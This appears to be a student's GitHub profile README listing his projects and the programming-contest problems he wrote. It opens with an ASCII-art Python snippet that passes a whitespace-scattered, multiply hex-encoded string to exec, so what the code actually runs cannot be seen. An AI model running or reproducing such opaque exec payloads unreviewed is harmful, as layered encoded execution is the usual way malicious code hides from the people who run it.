s='''b=__import__('binascii'); exec(b.unhexlify('623d5f5f696d706f72745f5f282762696e617363696927293b2
06578656328622e756e6865786c696679282736 32336435663566363936643730366637323734356635663238323
7363236393665363137333633363936393237 323 93362323036353738363536333238363232
65373536653638363537383663363936363 73932383237333633323333363433353
636333536363336333933363634333733 303336363633373332333733343335
3636333536363332333833323337333 63332333633393336363533363331
333733333336333333363339333633 3933323337333233393333363233
32333033363335333733383336333 53336333333323338333633323
332363533373335333636353336 3338333633353337333833363
63333363339333633363337333 933323338333233373333333
6333333393333333633363334 33333337333333303333333
633363336333333373333333 2333333373333333433333
332333333303333333733333 337333333363333333533
33333633333332333333363 33333323333333733333
3323333333633363336333 3333733333337333333
373333333333333336333 33335333333 3733333332333333303
33633313333333033363 33133333337333333 353333333733333332
3333333633363333333 333333333333133333332 33333330333333333
3363334333333323333 33303333333233333332333 33336333333383333
333733333334333333 37333333343333333733333330 3333333733333333
33333333333633313 3333332333633363333333233363 3363333333733333
33833333332333633 3533333336333333333333333633363 336333333363336
3334333333323336 333633333333333333313333333333333 330333333353336
333633333334333 633353333333633333331333333363336 33323333333633
333331333333353 33633363333333333333331333333333333 3332333333323
33333323333333 0333633313333333733333335333333373333 3332333333363
3363333333333 333333333233333332333333303333333333363 334333333323
3333330333333 32333333323333333633333338333333373333333 433333337333
333343333333 733333330333333373333333333333333333633313 33333323336
33363333333 2333633363333333733333337333333373333333733 33333733333
33733333332 33363335333333363333333933333336333633353333 3337333333
3333333337 33333334333333363333333133333336333333373333 3337333333
3233333336 3333333133333336333633343333333233363335333333 363333333
333333336 33363336333333363336333433333332333633363333333 333333331
333333333 3333330333333323336333533333337333333323333333733 33333933
33333633 363336333333323336333533333333333333313333333333333 33233333
33233333 3323333333033363331333333373333333533333337333333323 3333336
33363333 3333333333333333333333323333333033333333333633343333 3332333
3333033 3333323333333233333336333333383333333733333334333333 3733333
3343333 33373333333033333337333333333333333333363331333333323 3363336
3333333 233363336333333363333333133333337333333343333333633333 333333
333363 3363336333333363333333433333336333333353 3333337333333 323333
333233 3633353333333633363331333333373333 3330 333333
323336 333633333337333333353333333 7333 3 333333
333336 3333333533333337333333 3233333337 3 33333
333333 3332333633363333333 53333333833333 33733
333338 3333333533363336333333353333333233333335 33333
339333 3 3334333633363333333533363336333333373333 33383
333333 5333333383 33333323333333233333330333633313333333733 33333
533333 3373333333233 33333633363333333333333333 3334333333323333333 03333
333333 3633343333333233333330333333323333333233333336333333383333333 73333
333433 333337333333343 333333733333330333 333 3733333333333 33333
333633 3133333332 3 3363336333333323 3363336333 3333
633333 3373333 33363333333933 333337333 3333
433333 336333 33338333333373 33 333353333 3336
333333 32333 3 3332333633353333 333 633333333333 3333
633363 33633 33 333633363334333 3333233363336333 3333
733333 332333333373 33333393333333633 363336333333363336333533 33333
633333 33133333336333 6 333233333336333333313333333633333337333333363 33333
313333 3337333333373333333 633333331333333323336333433333333333333313333 33333
333333 033333333333333313 3333333333333323333333233333332333333303336333 13333
3330333 6333133333337333333373333333633333335333333363333333233333336333333 323333
3337333 33332333333363336333633333337333333373333333733333333333333363333333 5333333
37333333 32333333323336333533333336333633363333333733333330333333363333333533 33333633
36333533 33333233333338333333373333333533333337333333323333333633363333333333 333333333
133333332 33333339333333303336333133333337333333373333333633333335333333363333 3332333333
3633333332 333333373333333233333336333633363333333733333337333333373333333333333 33633333335
333333373333 333233333332333633353333333633363336333333373333333033333336333333353 33333363336
333533333332 333333383333333733333335333333373333333233333336333633333333333333333 332333333323
3333339333333 30333633313333333733333337333333363333333533333336333333323333333633 333332333333
37333333323333 33363336333633333337333333373333333733333333333333363333333533333337 333333323333
33323336333533 33333633363336333333373333333033333336333333353333333633363335333333 323333333833
333337333333353 33333373333333233333336333633333333333333333333333333323333333933333 330333633313
3333337333333373 3333336333333353333333633333332333333363333333233333337333333323333333633363336333
3333733333337333 3333733333333333333363333333533333337333333323333333233363335333333363336333633333
33733333330333333 3633333335333333363336333533333332333333383333333733333335333333373333333233333336
333633333333333333333334333333323333333933323 337333233 39333233393333363232373239323933622729293b'
));p=print;p(end="");p(end="");p(end="");p(e nd= "");p(end="");p(end="");p(end="");p(end="
");p(end="");p(end="");p(end="");p(end=""); p(end="");p(end="");p(end="");p(end="");p
(end="");p(end="");p(end="");p(end="");p(end =" ");p(end="");p(end="");p(end="");p(end="");p
(end="");p(end="");p(end="");p(end="");p(end="");p( end="");p(end="");p(end="");p(end="");p(end="");
p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");
p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");
p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");
p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");
p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");
p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");
p(end="");p(end="");p(end="");p(end="");p(end="" );p(end="" );p(end="");p(end="");p(end="");p(end="
");p(end="");p(end="");p(end="");p(end="") ;p(e nd ="");p(end="");p(end="");p(end=""
);p(end="");p(end="");p(end="");p(end ="");p(end="");p(end="");p(end="
");p(end="");p(end="");p(end="");p(en d=""); p(end="");p(end="");p(end="");p(
end="");p(end="");p(end="");p(end="") ;p (end="");p(end ="");p(end="");p(end="");p(end=""
);p(end="");p(end="");p(end="");p(end ="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end=
"");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end=
"");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end=
"");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end=
"");p(end="");p(end="");p(end="");p(end="");p(end="") ;p(end="");p(end="");p(end="");p(end="");p(en
d="");p(end="");p(end="");p(end="");p(end="");p(en d="");p(end="");p(end="");p(end="");p(end="")
;p(end="");p(end="");p(end="");p(end="");p(end="") ;p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end
="");p(end="");p(end="");p(end="");p(end="");p(end="");p (end="");p(end="");p(end="");p(end="");p(en
d="");p(end="");p(end="") ;p(end="");p(end="");p(e nd="");p(end="");p(e nd="");p(end="");p(e
nd="");p(end="");p(end=" ");p(end="");p( end ="");p(end="");p(end ="");p(end="");p(end
="");p(end="");p(end="") ;p(end="");p(end ="");p(end="");p( end="");p(end="");
p(end="");p(end="");p(e nd="");p(end=""); p(end="");p(end=" ");p(end="");p(en
d="");p(end="");p(end ="");p(end="");p(e nd="");p(end=""); p(end="");p(end
="");p(end="");p(end ="");p(end ="");p(en d="");p(end="");p( end="");p(end
="");p(end="");p(en d="");p(end="");p(end= "");p(end="");p(end= "");p(end="
");p(end="");p(en d="");p(end= "");p(end="" );p(end="");p(end=""); p(end=""
);p(end="");p(e nd="");p(end=" ");p( end=" ");p(end="");p(end=""); p(end
="");p(end="" );p(end="");p(en d="");p(end=" ");p(end="");p(end="" );p
(end="");p( end="");p(end="" );p(end="");p(end="");p(end="");p( e
nd="");p (end="");p(end="") ;p(end="");p(end="");p(end="");p(
end="" );p(end="");p(end= "");p(end="");p(end="");p(end="
");p (end="");p(end="");p (end="");p(end="");p(end="");p
(e nd="");p(end="");p(end= "");p(end="");p(end="");p(
end="");p(end="");p(end="");p(end="");p(end="");p(end="");p(end="");''';exec(''.join(s.split()));I'm Ryo. I'm currently a fourth-year student at Kyoto Sangyo University.
My Major is Information science and engineering, and my research focuses on accelerating ORAM (Oblivious RAM)
You are the
| 作品名 | 概要 | 使用技術 |
|---|---|---|
| Othello | 個人開発 8*8 のオセロゲーム |
C |
| Visualization_Sort_Algorithm | 個人開発 様々なソートアルゴリズムをグラフィックライブラリを用いて可視化 |
C |
| sorcery-assemble | チーム開発 マインクラフトで魔法が使えるアイテムを追加するプラグイン |
Java |
| Competitive-Programming | 競技プログラミングの提出コード、テンプレートなどを保存しているリポジトリ | Python |
| KSDUPC 2024 | 京都産業大学と同志社大学の有志の学生が運営、作問したプログラミングコンテスト | |
| TeraCoder2024 | 所属しているサークルIOORが運営、作問した京都産業大学で行った賞金付きのプログラミングコンテスト | |
| Forest_Program | チーム開発 MVCモデルで作成した、ファイル構造の樹状整列を可視化するアプリケーション |
Java |
| Forest_Document | チーム開発 Forest_Programの基本設計、詳細設計、テスト結果などをHTMLでまとめたもの |
HTML |
| TeraCoder2025 | 所属しているサークルIOORが運営、作問した京都産業大学で行った賞金付きのプログラミングコンテスト | |
| TeraCoder Judge System | 所属しているサークルIOORが開発、運営、保守しているプログラミングコンテスト用のオンラインジャッジシステム | セキュリティの観点から非公開 |
- 駅伝中継
- 概要: KSDUPC 2024-F問題、想定解法はSortedlistを使う。優先度付きキューでも回答可能
- 使用アルゴリズム、データ構造等: Sortedlist, 優先度付きキュー
- Welcome to Teracoder
- 概要: TeraCoder2024-A問題、想定解法はfor文等でN回"TeraCoder"を出力する
- Only One Canpas
- 概要: TeraCoder2024-D問題、想定解法は配列を使って解く
- Wreker Terako
- 概要: TeraCoder2024-H問題、想定解法は3乗の和の公式を使う
- Say!Yes!Kyosan Beam
- 概要: TeraCoder2024-K問題、想定解法は強連結成分分解を使う
- 使用アルゴリズム、データ構造等: 強連結成分分解
- Word Chain Terako
- 概要: TeraCoder2024-L問題、想定解法は問題文通りに実装する
- Expo Queue
- 概要: TeraCoder2025-F問題、想定解法はキューを用いる
- 使用アルゴリズム、データ構造等: キュー
- Barn Owl Terako
- 概要: TeraCoder2025-G問題、想定解法は1からNまでの最短経路をダイグストラ法で求める
- 使用アルゴリズム、データ構造等: ダイクストラ法
- Bingo Game
- 概要: TeraCoder2025-I問題、想定解法は行・列・対角線に対して、開けられたマスの数をカウントする配列を用意して解く
- Kyosan Escalator
- 概要: TeraCoder2025-L問題、想定解法はクラスカル法を用いる
- 使用アルゴリズム、データ構造等: Union-Find, クラスカル法


